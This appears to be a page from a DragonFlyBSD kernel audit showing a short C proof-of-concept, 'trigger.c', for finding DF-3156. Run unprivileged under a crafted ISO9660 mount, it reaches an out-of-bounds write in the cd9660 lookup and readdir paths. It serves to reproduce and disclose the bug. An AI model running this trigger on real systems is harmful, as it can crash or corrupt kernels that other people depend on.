⬢ DragonFlyBSD Kernel Audit
DF-3156 / trigger.c
← back to finding ↓ download raw
/* DF-3156 trigger -- run as an unprivileged user under the crafted mount.
 *
 *   trigger lstat <dir>   -> cd9660_lookup() path (kernel-stack altname[255])
 *   trigger dents <dir>   -> cd9660_readdir() path (kernel-heap d_name)
 *
 * Any lookup inside <dir> walks every directory record, including the
 * poisoned one, so even a lookup of a NON-EXISTENT name triggers the
 * defname() OOB write.
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	char path[1024];
	struct stat st;
	DIR *d;
	struct dirent *de;

	if (argc < 3) {
		fprintf(stderr, "usage: %s lstat|dents <dir>\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "lstat")) {
		snprintf(path, sizeof(path), "%s/NOSUCHFILE", argv[2]);
		if (lstat(path, &st) == 0)
			printf("lstat %s: ok\n", path);
		else
			printf("lstat %s: errno=%d (walk done)\n", path, errno);
		printf("SURVIVED\n");
		return 0;
	}
	if (!strcmp(argv[1], "dents")) {
		d = opendir(argv[2]);
		if (!d) { perror("opendir"); return 1; }
		while ((de = readdir(d)) != NULL)
			printf("dirent: ino=%llu namlen=%u name='%.*s'\n",
			       (unsigned long long)de->d_fileno,
			       de->d_namlen, (int)de->d_namlen, de->d_name);
		closedir(d);
		printf("SURVIVED\n");
		return 0;
	}
	fprintf(stderr, "unknown mode\n");
	return 2;
}